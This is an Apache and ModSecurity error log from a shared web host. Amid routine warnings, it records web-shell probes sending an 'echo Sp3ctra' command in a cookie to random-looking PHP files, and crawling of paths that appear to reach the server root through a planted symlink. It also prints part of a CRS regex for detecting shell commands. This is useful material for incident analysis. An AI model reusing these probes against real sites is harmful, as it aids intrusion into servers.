[Fri Jul 17 08:22:03.841751 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:03.935111 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:04.123606 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:04.205057 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:04.388591 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:04.394407 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:04.485561 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:04.807826 2026] [mime:warn] [pid 2005917:tid 2005917] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:04.868570 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:04.931251 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:05.021883 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 3.14.69.207:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/class/wakeup/wakeup13/device/resource4
[Fri Jul 17 08:22:05.298771 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:05.299603 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:05.570978 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:05.753091 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:05.802655 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:05.844374 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:05.938164 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:06.025752 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:06.116547 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:06.207756 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:06.478817 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:06.569810 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:06.662132 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:06.752008 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:06.934321 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:11.924997 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:50312] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:22:11.934360 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:14.377866 2026] [security2:error] [pid 1993604:tid 1993604] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almY3oha5y5fYnQ1qRru0gAAAAE"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:22:14.377908 2026] [security2:error] [pid 1993604:tid 1993604] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almY3oha5y5fYnQ1qRru0gAAAAE"], referer: http://anandaobauae.org/?%3Cplay%3Ewithme%3C/%3Euploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:22:14.460084 2026] [ssl:error] [pid 2008451:tid 2008451] (70014)End of file found: [client 66.85.158.91:50384] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:22:16.692307 2026] [security2:error] [pid 2005917:tid 2005917] [client 20.46.252.52:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at REQUEST_COOKIES:g. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within REQUEST_COOKIES:g: echo Sp3ctra"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "melanifinefood.com"] [uri "/wp-plain.php"] [unique_id "almY4Hf2WrySr2miwA72vQAAABY"], referer: www.google.com
[Fri Jul 17 08:22:16.692368 2026] [security2:error] [pid 2005917:tid 2005917] [client 20.46.252.52:0] ModSecurity: Rule 55dbd8776d00 [id "932150"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "464"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "melanifinefood.com"] [uri "/wp-plain.php"] [unique_id "almY4Hf2WrySr2miwA72vQAAABY"], referer: www.google.com
[Fri Jul 17 08:22:16.695119 2026] [security2:error] [pid 2005917:tid 2005917] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "melanifinefood.com"] [uri "/wp-plain.php"] [unique_id "almY4Hf2WrySr2miwA72vQAAABY"], referer: www.google.com
[Fri Jul 17 08:22:21.258448 2026] [security2:error] [pid 2005917:tid 2005917] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "melanifinefood.com"] [uri "/index.php"] [unique_id "almY4Hf2WrySr2miwA72vQAAABY"], referer: www.google.com
[Fri Jul 17 08:22:21.339607 2026] [security2:error] [pid 2002425:tid 2002425] [client 20.46.252.52:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at REQUEST_COOKIES:g. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within REQUEST_COOKIES:g: echo Sp3ctra"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "melanifinefood.com"] [uri "/ynbbhybg.php"] [unique_id "almY5aUJv0yl2bIgVrkMhgAAABU"], referer: www.google.com
[Fri Jul 17 08:22:21.340744 2026] [security2:error] [pid 2002425:tid 2002425] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "melanifinefood.com"] [uri "/ynbbhybg.php"] [unique_id "almY5aUJv0yl2bIgVrkMhgAAABU"], referer: www.google.com
[Fri Jul 17 08:22:21.711028 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:42004] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:22:22.025884 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:24.983393 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:42104] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:22:25.199964 2026] [security2:error] [pid 2002425:tid 2002425] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "melanifinefood.com"] [uri "/index.php"] [unique_id "almY5aUJv0yl2bIgVrkMhgAAABU"], referer: www.google.com
[Fri Jul 17 08:22:25.282079 2026] [security2:error] [pid 1994956:tid 1994956] [client 20.46.252.52:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at REQUEST_COOKIES:g. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within REQUEST_COOKIES:g: echo Sp3ctra"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "melanifinefood.com"] [uri "/wp-plain.php"] [unique_id "almY6QG5-NXx3Mem1QgNWgAAAA8"], referer: www.google.com
[Fri Jul 17 08:22:25.282240 2026] [security2:error] [pid 1994956:tid 1994956] [client 20.46.252.52:0] ModSecurity: Rule 55dbd8776d00 [id "932150"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "464"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "melanifinefood.com"] [uri "/wp-plain.php"] [unique_id "almY6QG5-NXx3Mem1QgNWgAAAA8"], referer: www.google.com
[Fri Jul 17 08:22:25.284789 2026] [security2:error] [pid 1994956:tid 1994956] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "melanifinefood.com"] [uri "/wp-plain.php"] [unique_id "almY6QG5-NXx3Mem1QgNWgAAAA8"], referer: www.google.com
[Fri Jul 17 08:22:26.764387 2026] [security2:error] [pid 2005917:tid 2005917] [client 216.244.66.237:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.dragon.lk"] [uri "/robots.txt"] [unique_id "almY6nf2WrySr2miwA72xwAAABY"]
[Fri Jul 17 08:22:26.764908 2026] [security2:error] [pid 2005917:tid 2005917] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.dragon.lk"] [uri "/robots.txt"] [unique_id "almY6nf2WrySr2miwA72xwAAABY"]
[Fri Jul 17 08:22:26.765398 2026] [security2:error] [pid 2005917:tid 2005917] [client 216.244.66.237:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.dragon.lk"] [uri "/robots.txt"] [unique_id "almY6nf2WrySr2miwA72xwAAABY"]
[Fri Jul 17 08:22:26.954855 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:27.285980 2026] [security2:error] [pid 1994956:tid 1994956] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "melanifinefood.com"] [uri "/index.php"] [unique_id "almY6QG5-NXx3Mem1QgNWgAAAA8"], referer: www.google.com
[Fri Jul 17 08:22:27.385532 2026] [security2:error] [pid 1994967:tid 1994967] [client 20.46.252.52:0] ModSecurity: Warning. Pattern match "(?:^|=)\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|<.*|>.*|\\\\'.*\\\\'|\\".*\\")\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:'|\\")*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w'\\"\\\\./\\\\\\\\]+/)?[\\\\\\\\'\\"]*(?:l[\\\\\\\\'\\"]*(?:s(?:[\\\\\\\\'\\"]*(?:b[\\\\\\\\'\\"]*_[\\\\\\\\'\\"]*r[\\\\\\\\'\\"]*e[\\\\\\\\'\\"]*l[\\\\\\\\' ..." at REQUEST_COOKIES:g. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "464"] [id "932150"] [msg "Remote Command Execution: Direct Unix Command Execution"] [data "Matched Data: echo  found within REQUEST_COOKIES:g: echo Sp3ctra"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "melanifinefood.com"] [uri "/mrjskobr.php"] [unique_id "almY60hq6UAnqYko0LpWZQAAABE"], referer: www.google.com
[Fri Jul 17 08:22:27.386709 2026] [security2:error] [pid 1994967:tid 1994967] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "melanifinefood.com"] [uri "/mrjskobr.php"] [unique_id "almY60hq6UAnqYko0LpWZQAAABE"], referer: www.google.com
[Fri Jul 17 08:22:27.763824 2026] [security2:error] [pid 1993604:tid 1993604] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almY64ha5y5fYnQ1qRru2QAAAAE"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:22:27.763882 2026] [security2:error] [pid 1993604:tid 1993604] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almY64ha5y5fYnQ1qRru2QAAAAE"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:22:27.781728 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:42256] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:22:30.457031 2026] [security2:error] [pid 1994967:tid 1994967] [client 20.46.252.52:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "melanifinefood.com"] [uri "/index.php"] [unique_id "almY60hq6UAnqYko0LpWZQAAABE"], referer: www.google.com
[Fri Jul 17 08:22:32.198075 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:32.503957 2026] [security2:error] [pid 1994976:tid 1994976] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almY8DRCJXF37-WnVv0hwgAAABI"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:22:32.504004 2026] [security2:error] [pid 1994976:tid 1994976] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almY8DRCJXF37-WnVv0hwgAAABI"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:22:37.136572 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:37.138389 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.14.69.207:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/sys/class/wakeup/wakeup11/device/device:08/"] [unique_id "almY9Yha5y5fYnQ1qRru4wAAAAE"]
[Fri Jul 17 08:22:37.138423 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.14.69.207:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/proc/self/cwd/sys/class/wakeup/wakeup11/device/device:08/"] [unique_id "almY9Yha5y5fYnQ1qRru4wAAAAE"]
[Fri Jul 17 08:22:38.019318 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:58034] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:22:42.140946 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:42.815122 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:34242] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:22:43.334315 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:43.504732 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:48.172365 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 47.128.48.105:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:16/subsystem/ttyS3/uartclk
[Fri Jul 17 08:22:50.964475 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:34618] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:22:51.880241 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:51.885353 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:53.602763 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:56738] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:22:54.022571 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:22:54.041037 2026] [security2:error] [pid 1993570:tid 1993570] [client 47.82.15.107:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/fs/cgroup/memory/system.slice/sw-engine.service/memory.move_charge_at_immigrate"] [unique_id "almZBnjA8yK8B7kryx3gxwAAAAk"]
[Fri Jul 17 08:22:54.041086 2026] [security2:error] [pid 1993570:tid 1993570] [client 47.82.15.107:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/fs/cgroup/memory/system.slice/sw-engine.service/memory.move_charge_at_immigrate"] [unique_id "almZBnjA8yK8B7kryx3gxwAAAAk"]
[Fri Jul 17 08:22:54.174458 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:56780] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:22:54.909352 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:56800] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:22:55.781452 2026] [ssl:error] [pid 2008451:tid 2008451] (70014)End of file found: [client 66.85.158.91:56864] AH02013: coalesce failed to read from data bucket
